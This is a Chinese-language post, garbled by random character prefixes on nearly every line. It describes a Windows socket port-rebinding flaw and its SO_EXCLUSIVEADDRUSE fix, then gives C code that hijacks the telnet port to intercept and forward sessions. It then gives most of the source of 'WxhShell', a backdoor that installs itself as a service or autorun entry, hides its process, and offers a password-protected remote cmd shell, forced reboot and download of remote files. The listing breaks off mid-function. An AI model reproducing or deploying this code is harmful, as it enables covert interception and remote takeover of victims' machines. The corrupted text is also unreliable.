在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
gK'MUZ() s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
DS fKUx& q[lqEc saddr.sin_family = AF_INET;
pV8,b sEa:p:! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
T}* '9TB hV)I
C9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>xN^#$ng} gUcE,L 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$oEDyC >KJ]\`2>)c 这意味着什么?意味着可以进行如下的攻击:
gMbvHlT b;{C1aa>} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)NK2uD RWE%?` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
M}>q> JQqDUd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
frt?*|: i y 5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ZpyRvDz tznT*EQr 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Zl)|x%z 1N&U{#4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
U&NOf;h$ V*N9D>C 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
FYJB.lAT shB(kb{{ #include
2%I:s6r #include
t9}XO M* #include
S^u!/ =& #include
v3p..A~XZ. DWORD WINAPI ClientThread(LPVOID lpParam);
iX28+weH int main()
':=C2x1d| {
!Zrvko WORD wVersionRequested;
@fwU%S[v DWORD ret;
IO4 IaeM WSADATA wsaData;
SO%5ts BOOL val;
y-U(`{[nM SOCKADDR_IN saddr;
#3S/TBy, SOCKADDR_IN scaddr;
DCm;dh int err;
Z7v~;JzC# SOCKET s;
~gf$ L9 SOCKET sc;
LLE~V~j int caddsize;
e0TnA
N HANDLE mt;
) E\pQ5& DWORD tid;
@l8?\^N wVersionRequested = MAKEWORD( 2, 2 );
g 0L 4 err = WSAStartup( wVersionRequested, &wsaData );
UpITx]y?"m if ( err != 0 ) {
km^AX:r1 printf("error!WSAStartup failed!\n");
z(ajR*\# return -1;
B@4#y9`5 }
E_OLf%um saddr.sin_family = AF_INET;
"~ /3 xfzR>NU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;Cwn1N9S gOk O8P6P8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
1;h>^NOq saddr.sin_port = htons(23);
l@Ki`if if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P+/L,u {
gSC@uf printf("error!socket failed!\n");
P/_XDP./U return -1;
kU /?#s }
xqr`T0!& val = TRUE;
UaBR;v-.B3 //SO_REUSEADDR选项就是可以实现端口重绑定的
9T]]T Ev4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\S9z.!7v$ {
#O~Y[''C5X printf("error!setsockopt failed!\n");
5q<kt{06\ return -1;
JsC0^A;fM }
5*CwQJC< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0\mzGfd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q -+jG7vT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,iyIF~1~#> X:Zqgf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[H&m@*UO {
kK(633s ret=GetLastError();
)sQbDA|p printf("error!bind failed!\n");
@.0,ka,X return -1;
" n\!y~: }
S$#Awen"@ listen(s,2);
n5b
N/ while(1)
)-9/5Z0v {
&`9lIVB,K caddsize = sizeof(scaddr);
= FE,G* //接受连接请求
$$4% .J26Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4@5<B if(sc!=INVALID_SOCKET)
X>CYKRtb {
k4@GjO1"$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(X8N?tJ if(mt==NULL)
H0Tt(:.& {
T&c[m!}X|t printf("Thread Creat Failed!\n");
s(dox; d break;
5xiYCOy }
y`N1I }
Z`
Aiw."| CloseHandle(mt);
q<1@ut }
K,R Ia0) closesocket(s);
D,7! /u' WSACleanup();
q"Xls( return 0;
CI,-qi }
LKm5U6 DWORD WINAPI ClientThread(LPVOID lpParam)
WlY%f}ln {
PQ5DTk SOCKET ss = (SOCKET)lpParam;
-{<%Wt9 SOCKET sc;
B)(A#&nrb unsigned char buf[4096];
ILQg@Jl SOCKADDR_IN saddr;
n"pADTaB long num;
us]ah~U6A DWORD val;
xj}N;FWo DWORD ret;
7yc:=^ ) //如果是隐藏端口应用的话,可以在此处加一些判断
?]})Xf.A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/#X O!%=7 saddr.sin_family = AF_INET;
X2{3I\'Ft saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(]pQ.3 saddr.sin_port = htons(23);
O-7 \qz if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hOq1"kL {
CkP!4^J qQ printf("error!socket failed!\n");
1?*vqdt return -1;
u/MIB`@, }
* T-XslI val = 100;
4uv }6&R if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4, :D4WYWD {
7fVVU+y ret = GetLastError();
Uq&|iB#mF return -1;
n;MoMGnPh, }
2q#$?qs_b if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_x lgsa {
`wq\K8v ret = GetLastError();
mF_/Rhu return -1;
$q+7,," }
snK/,lm. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$Fn# b|e {
8xNKVj)@ printf("error!socket connect failed!\n");
3B_S>0H"$ closesocket(sc);
LWW0lG!_F closesocket(ss);
Wbc %G8 return -1;
7#RW4ZM }
)S`A+M K] while(1)
M_PL{ {
d BJM?/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
b w cPY //如果是嗅探内容的话,可以再此处进行内容分析和记录
/r)d4=1E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/qz(ra num = recv(ss,buf,4096,0);
M--6oR7 if(num>0)
xv)7-jlx send(sc,buf,num,0);
!is8`8F8 else if(num==0)
ZpwB"%e$ break;
G1D(-X4ALZ num = recv(sc,buf,4096,0);
Um|:AT}`^ if(num>0)
u-? &~WA send(ss,buf,num,0);
a E#s#Kv else if(num==0)
=e4,)Wd9& break;
ve>8vw2 }
Ar\`OhR closesocket(ss);
#3qkG) closesocket(sc);
{u!,TDt* return 0 ;
g'I S8@ }
*"E]^wCn 5ogbse" ;eWVc;H ==========================================================
aB$Y5 2.|Y 下边附上一个代码,,WXhSHELL
*z(.D\{% 3Y=S^*ztd ==========================================================
Obw uyhjQ
:&Ul #include "stdafx.h"
';
qT Hv%a\WNS1 #include <stdio.h>
& MAIm56~ #include <string.h>
SI@I #include <windows.h>
H
kg0;) #include <winsock2.h>
W}EO]A%f.\ #include <winsvc.h>
$u` ;{8 #include <urlmon.h>
F<I-^BY) 7igrRU#1% #pragma comment (lib, "Ws2_32.lib")
{yJ{DU?%Y #pragma comment (lib, "urlmon.lib")
amPQU upX/fLc #define MAX_USER 100 // 最大客户端连接数
Sd{>(YWx~ #define BUF_SOCK 200 // sock buffer
SQEXC*08 #define KEY_BUFF 255 // 输入 buffer
Q.5a"(d@ ov|s5yH8e #define REBOOT 0 // 重启
7%o\O{,U #define SHUTDOWN 1 // 关机
-
@ =EIsqk^* #define DEF_PORT 5000 // 监听端口
Hiw{1E:rW OnD+/I #define REG_LEN 16 // 注册表键长度
k1]?d7g$w #define SVC_LEN 80 // NT服务名长度
r*kk/$,2 n9)/(=)>* // 从dll定义API
haY.rH]z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
D L$P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
."MBKyg6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:CV&WP typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
u|Db%)[ >0f5Mjug // wxhshell配置信息
n0EKNMO struct WSCFG {
-]N/P{=L int ws_port; // 监听端口
$biCm$a char ws_passstr[REG_LEN]; // 口令
^^v\ T int ws_autoins; // 安装标记, 1=yes 0=no
"F0,S~tZZ char ws_regname[REG_LEN]; // 注册表键名
hLBX,r)u char ws_svcname[REG_LEN]; // 服务名
}|x]8zL8G char ws_svcdisp[SVC_LEN]; // 服务显示名
(0Y6tcV]R char ws_svcdesc[SVC_LEN]; // 服务描述信息
d,$[633It} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Vls*fY:W int ws_downexe; // 下载执行标记, 1=yes 0=no
Um*{~=;u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M34*$>bk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Z EG u<):gI };
k8w8I$QEM Iy"
// default Wxhshell configuration
z<)?8tAgq struct WSCFG wscfg={DEF_PORT,
TG'A'wXxy "xuhuanlingzhe",
;Ni+TS 1,
b`1P%OjC "Wxhshell",
h v9s "Wxhshell",
E4WoKuE1$ "WxhShell Service",
@!K)(B;A0b "Wrsky Windows CmdShell Service",
UP#]n
69y "Please Input Your Password: ",
{N>VK* 1,
{X8F4 "
http://www.wrsky.com/wxhshell.exe",
4F/Q0" "Wxhshell.exe"
In]h+tG?rN };
YsDn?p D@ {-H6Z#b[ // 消息定义模块
Rg'1 F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"bRck88V char *msg_ws_prompt="\n\r? for help\n\r#>";
8sE@?, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
uGgR@+7?Z char *msg_ws_ext="\n\rExit.";
4,FuQ} char *msg_ws_end="\n\rQuit.";
V5M_N;h char *msg_ws_boot="\n\rReboot...";
y_\vXY' char *msg_ws_poff="\n\rShutdown...";
y%iN9 -t char *msg_ws_down="\n\rSave to ";
%1xo|6hm- taI]) char *msg_ws_err="\n\rErr!";
HHT K{X+ char *msg_ws_ok="\n\rOK!";
rW!P~yk , Lhgv1 char ExeFile[MAX_PATH];
wS8qua int nUser = 0;
nIXq2TzJ HANDLE handles[MAX_USER];
RaG-9gujI int OsIsNt;
YW}1Mf=_ z[V|W SERVICE_STATUS serviceStatus;
.LdLm991,Y SERVICE_STATUS_HANDLE hServiceStatusHandle;
kE/>Ys@w O[Nc$dc // 函数声明
wB"&K;t int Install(void);
4km=KOx[ int Uninstall(void);
c7S<ex, int DownloadFile(char *sURL, SOCKET wsh);
f |aO9w int Boot(int flag);
/ [:@j+n\ void HideProc(void);
7@MVInV9 int GetOsVer(void);
oO!@s` int Wxhshell(SOCKET wsl);
YP+0uZ[g void TalkWithClient(void *cs);
tOS%.0W5J int CmdShell(SOCKET sock);
HuCH`|v- int StartFromService(void);
_! \X>rfz int StartWxhshell(LPSTR lpCmdLine);
!PJ;d)\T 7*uG9iX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)}vQ?n[:' VOID WINAPI NTServiceHandler( DWORD fdwControl );
n
omtP } 7G!SlC
X}W // 数据结构和表定义
<#LHL
SERVICE_TABLE_ENTRY DispatchTable[] =
5"k_Ms7R, {
}[$ C=|> {wscfg.ws_svcname, NTServiceMain},
,RDxu7iT {NULL, NULL}
,NPU0IDG> };
" #_NA`$i 1KAA(W;nq // 自我安装
&KX|gB' int Install(void)
vD^^0-Pk6 {
5fSDdaO char svExeFile[MAX_PATH];
6D6=5!l HKEY key;
0X~Dxs strcpy(svExeFile,ExeFile);
':kBHCR7 q^>$YY>F // 如果是win9x系统,修改注册表设为自启动
|s[m;Qm[ku if(!OsIsNt) {
p~DlZk" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-9\O$ I-3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9T`xW]Zf RegCloseKey(key);
)
^!oM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&}wKC:LSP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V! a|rTU6 RegCloseKey(key);
F;}?O==H; return 0;
`{<2{}2M }
C<eeAWP3v }
w[UPoG #Uh }
qXCl6Yo8 else {
:Dw;RcZQ s=u0M;A0Q // 如果是NT以上系统,安装为系统服务
S\MD]>4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
45>w=O if (schSCManager!=0)
(;+JM*c2N {
[p_R?2uT SC_HANDLE schService = CreateService
+TfMj1Zx (
UdT~h schSCManager,
E_/v$ wscfg.ws_svcname,
Y[X5S{H`wj wscfg.ws_svcdisp,
Fu(e4E SERVICE_ALL_ACCESS,
&l-g3l[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=
r_&R#~GT SERVICE_AUTO_START,
:~{XL >:S SERVICE_ERROR_NORMAL,
&W)ks svExeFile,
J<V}g v NULL,
76
# NULL,
yAi#Y3!:: NULL,
p$0;~1vH NULL,
W9ZT=#>)[ NULL
qL,QsRwN );
#}^ZxEU if (schService!=0)
T<mk98CdE {
K&Ht37T CloseServiceHandle(schService);
9L*gxI> CloseServiceHandle(schSCManager);
,iB)8Km@U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[="moh2*f
strcat(svExeFile,wscfg.ws_svcname);
)U`H7\*) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
kS[k*bN0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pzCD'
!* RegCloseKey(key);
uZW
? 0W return 0;
U]@t\T3W }
|bVNlL"xN }
nZ$,Bjb CloseServiceHandle(schSCManager);
P (_:8|E }
f)vD2_E }
jCtl
] k'xnl"q return 1;
<xOpm8 }
8L|rj4z<# 7'xT)~*$4 // 自我卸载
7"Zr:|$U int Uninstall(void)
e*jn7aya {
_2<|0lvh HKEY key;
{(7Dz*0 9c}LG5 if(!OsIsNt) {
);@@>~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@|j`I1r.A RegDeleteValue(key,wscfg.ws_regname);
:nd
}e RegCloseKey(key);
Z>Rd6o' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Mw\/gm_3 RegDeleteValue(key,wscfg.ws_regname);
N?p9h{DG RegCloseKey(key);
|rq~.cA return 0;
Sr,ZM1J }
o%+KS5v! }
? Ls]k }
3|[:8 else {
;KbnaUAS8 w(k7nGU] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
fp:j~a>E if (schSCManager!=0)
'_4u,
\SG {
IhJ _Yed SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
v7\~OOoH] if (schService!=0)
*J 7>6N:- {
s^AQJ{X if(DeleteService(schService)!=0) {
%$:js4 CloseServiceHandle(schService);
st:[|` CloseServiceHandle(schSCManager);
XaR(q2s return 0;
'N,x=1R5 }
)tz8(S CloseServiceHandle(schService);
Y~,[9:SR }
XqyfeY5t CloseServiceHandle(schSCManager);
VCX})sp }
0d9rJv}~ }
;TEZD70r YEXJh!X return 1;
9 /t}S6b{ }
66[yL(*+ H
\.EKZ // 从指定url下载文件
0;!aO.l]K int DownloadFile(char *sURL, SOCKET wsh)
tZk@ RX {
(=)+as"u9* HRESULT hr;
>M[rOu
(d char seps[]= "/";
U@BVVH?,o char *token;
<*3wnpj_ char *file;
'355Pce/ char myURL[MAX_PATH];
_0oZgt) char myFILE[MAX_PATH];
]Q6,,/nn Q5Y4@ strcpy(myURL,sURL);
k#5S'sCF< token=strtok(myURL,seps);
Rdwr?:y(] while(token!=NULL)
&rq7;X {
r&o%n5B file=token;
OJbY\U token=strtok(NULL,seps);
UDt.w82 }
[
}jSx] :>Z0Kb}7 GetCurrentDirectory(MAX_PATH,myFILE);
qV/"30,K strcat(myFILE, "\\");
*xkbKkm strcat(myFILE, file);
?N,a {#w send(wsh,myFILE,strlen(myFILE),0);
$QNfy.6Tn send(wsh,"...",3,0);
.^,fw=T|1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6$%]p1"!K if(hr==S_OK)
jQ%}e" return 0;
!r.X. C else
cd)<t8^KE return 1;
:>F:G%(DK 85w
D<bN27 }
|uj1T=ZY DS=kSkW^&5 // 系统电源模块
~ Y4H)r int Boot(int flag)
h:a5FK@ {
8p-5.GU)<e HANDLE hToken;
R+]Fh4t TOKEN_PRIVILEGES tkp;
P-7!\[];te wAF>C[ <\ if(OsIsNt) {
96}/;e]@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`w[0q?}"` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
FGy7KVR tkp.PrivilegeCount = 1;
AWh{dM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
m&Ms[X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
qWw@6VvoQ if(flag==REBOOT) {
"h2;65@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6Ck?O/^ return 0;
dK|MQ < }
[0m'a\YE9 else {
o:f=dBmoX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)#xd]~< return 0;
dm8veKW'l }
:*0k:h6g }
`vL R;D else {
#y-OkGS
^
if(flag==REBOOT) {
bsP:tFw> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0=t_a]+ return 0;
AH`tkPd }
I"Ju3o?u else {
UF,T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^q%~K{'`- return 0;
bxrByu~| 1 }
q/m}+v] }
z* zLK[t+ u'yePJTE return 1;
[9[tn- }
|pq z(j7 \@MGOaR] // win9x进程隐藏模块
+\"@2mOH{+ void HideProc(void)
WuSRA<{P {
o1GWcxu*\ }{=%j~V;& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_q3SR[k+` if ( hKernel != NULL )
XL EA|# {
o~mY,7@a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>Q[]i4*A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;#~rd8Z52 FreeLibrary(hKernel);
hCQ{D|/ }
q'C'S#qqn q^"P_pV\ return;
-S)HB$8 }
:bLGDEC Da?0B9' // 获取操作系统版本
k(u W( 6 int GetOsVer(void)
{;f`t3D {
@B7; OSVERSIONINFO winfo;
_ky!4^B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0kmVP~K GetVersionEx(&winfo);
~4XJ" d3L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
n)$ q*IN" return 1;
@^k$`W; else
:L*CL 8m return 0;
l]oGhM; }
z#D@mn5\a J@!Sf7k42 // 客户端句柄模块
_ F@>?\B int Wxhshell(SOCKET wsl)
CDU^X$Q {
Gx'mVC"{ SOCKET wsh;
2=["jP!B struct sockaddr_in client;
KhXW5hS1 DWORD myID;
X+P3a/T ;2#7"a^ while(nUser<MAX_USER)
W5J"#^kdF8 {
axXAy5 int nSize=sizeof(client);
*!C^L"i wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Vi5RkUY] if(wsh==INVALID_SOCKET) return 1;
N@tzYD|hA /vsQ <t;~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
J*a`qU
if(handles[nUser]==0)
`=q)-y_C closesocket(wsh);
+SUQRDF@i else
Yw?%>L nUser++;
Pg*ZQE[ME8 }
AD*+?%hj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
~|l>bf WXO@oZ! return 0;
zcIZJVYA }
r4!zA-{ ,h8)5Mj/J // 关闭 socket
o#%2N+w void CloseIt(SOCKET wsh)
2MtaOG2l&q {
5x=tOR/h closesocket(wsh);
&S''fxGL nUser--;
Nm#KHA='Z ExitThread(0);
Bk?M F6 }
-PEpy3dMY 9)l[$X // 客户端请求句柄
>qcir~ & void TalkWithClient(void *cs)
iCc@N|~ {
PS(LD4mD xU67ztS'E' SOCKET wsh=(SOCKET)cs;
@-!w,$F)%d char pwd[SVC_LEN];
2)4{ char cmd[KEY_BUFF];
q SCt=eQ char chr[1];
JK[7&C-O int i,j;
t?YGGu^ olK%TM[Y while (nUser < MAX_USER) {
.hETqE` E 3<'SnP3mY if(wscfg.ws_passstr) {
KY2xKco if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'=%vf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$Iqt
c)DA //ZeroMemory(pwd,KEY_BUFF);
T][\wyLx1 i=0;
Q\ro )r while(i<SVC_LEN) {
33"{"2==` ;rd!kFd#bq // 设置超时
x<9|t( fd_set FdRead;
)Cu"M#` struct timeval TimeOut;
0o`0Td FD_ZERO(&FdRead);
TtkB FD_SET(wsh,&FdRead);
E$smr\ TimeOut.tv_sec=8;
Oyj!N`&z@ TimeOut.tv_usec=0;
2\EMtR>.M' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|iO2,99i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8M(N 0~an\4nh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
gt}/C4| pwd
=chr[0]; )Bd+jli|s
if(chr[0]==0xd || chr[0]==0xa) { QJOP *<O
pwd=0; G}}oeS
break; >Pbd#*
} (W*yF2r
i++; O6k[1C
} {[)J~kC+
V`@@ufU}
// 如果是非法用户,关闭 socket j_p.KF'[?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d~GT w:
} nCXIWLw
];zi3oS^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o8Q(,P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !7^fji
i"sVk8+o!
while(1) { C.pNDpx-
<J?i+b
ZeroMemory(cmd,KEY_BUFF); G8akMd]2
$\m=-5 0-
// 自动支持客户端 telnet标准 Ha4?I$'$
j=0; Hdj0! bUx
while(j<KEY_BUFF) { Hsx`P
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +,c;Dff
cmd[j]=chr[0]; 1T!_d&A1o
if(chr[0]==0xa || chr[0]==0xd) { D[;6xJ
cmd[j]=0; n'%*vdHKm
break; o(|`atvK
} /$I&D}uR`
j++; _%Mu{Ni&
} %)\Cwl
}Ct_i'Ow
// 下载文件 p5G O@^i
if(strstr(cmd,"http://")) { 4?72TBl]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fN8A'p[
if(DownloadFile(cmd,wsh)) h/eKVRGs"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kwZC3p\\
else X+bLLW>&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Y\9h)1Jo
} Njz,y}\
else { 6q6&N'We
`=%[
switch(cmd[0]) { '<6Gz7O
'2:Ily,S@
// 帮助 }6m5MH$7q
case '?': {
YgdoQBQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,|xG2G6
break; URJ"
} "wexG]R=5
// 安装 |K/#2y~
case 'i': { N-K.#5
if(Install()) -[Zau$;J<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cnCUvD]'
else -"!V&M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J>X aQfzwU
break; U5izOFc
} _.Uz!2
// 卸载 n1buE1r?
case 'r': { %>5Ht e<
if(Uninstall()) =eTI@pN`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +`.%aJIi9
else k=nfo-h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {TE0
break; 98o;_tU'
} G?>~w[#mQR
// 显示 wxhshell 所在路径 /i
DS#l\0
case 'p': { O&d(FJZ
char svExeFile[MAX_PATH]; kD MS7y<s
strcpy(svExeFile,"\n\r"); ( 9dV%#G\
strcat(svExeFile,ExeFile); wyAqrf
send(wsh,svExeFile,strlen(svExeFile),0); EX8]i,s|E
break; 7fnKe2MM
} kDO6:sjR7
// 重启 8q_3*++D
case 'b': { owYfrf3ZLX
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vaR0`F
if(Boot(REBOOT)) ,ulNap"R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &WvJg#f
else { '#u2q=n4*
closesocket(wsh); bis/Nfr]
ExitThread(0); y%ER51+
} (IJf2
break; ~3f#cEP>d}
} J8? 6yd-7
// 关机 _mXq]r0
case 'd': { =CRaMjN
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B;W=61d
if(Boot(SHUTDOWN)) e/@udau
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yn1 U@!
else { !j YV,:'
closesocket(wsh); <uv{/L
b
ExitThread(0); WMh'<'wN_
} 0Xk;X1Xl
break; w[4SuD
} Vy-S9=
// 获取shell /:awPYGH<1
case 's': { f()^^ +
CmdShell(wsh); vbwEX 6
closesocket(wsh); s#*
mn
ExitThread(0); ;CAB.aB~
break; \hNMTj#O
} X<-]./
// 退出 H,3$TNXy
case 'x': { DgOoEHy[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9Cf^Q3)5o
CloseIt(wsh); kQVl8KS
break; ;F~GKn;}
} qc*+;Wi+5
// 离开 xW"J@OiKL
case 'q': { Mh3zl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :VLuI
closesocket(wsh); rD$7;
WSACleanup(); ^D vaT9s
exit(1); E8NIH!dI
break; {p6",d."N&
} |S>nfL{TQe
} TU[f"!z^
} S@_@hFV jd
#+ n
&
// 提示信息 }$AC0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ Cqg2
} ZTt%7K"L
} $RA"NIZ:!
\dufKeiS&a
return; 8|7Tk[X1j
} 6{+~B2Ef
=797;|B H
// shell模块句柄 ;?n*w+6<
int CmdShell(SOCKET sock) $T3/*xN
{ 5-]%D(y
STARTUPINFO si; {MYlW0)~
ZeroMemory(&si,sizeof(si)); 4eIu@
";!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6e~+@S
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j&8 ~X2?*
PROCESS_INFORMATION ProcessInfo; Oa@X! \
char cmdline[]="cmd"; dWm[#,Q?
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !4oYQB
return 0; D-,sF8{ i
} cteHuRd
|'KNR]:
N
// 自身启动模式 ?pQ, 5+8
int StartFromService(void) }T(|\
X
{ vBM\W%T|d
typedef struct ?0_i{BvN
{ tbOe,-U-@
DWORD ExitStatus; R9=,T0Y
p
DWORD PebBaseAddress; jv_sRV
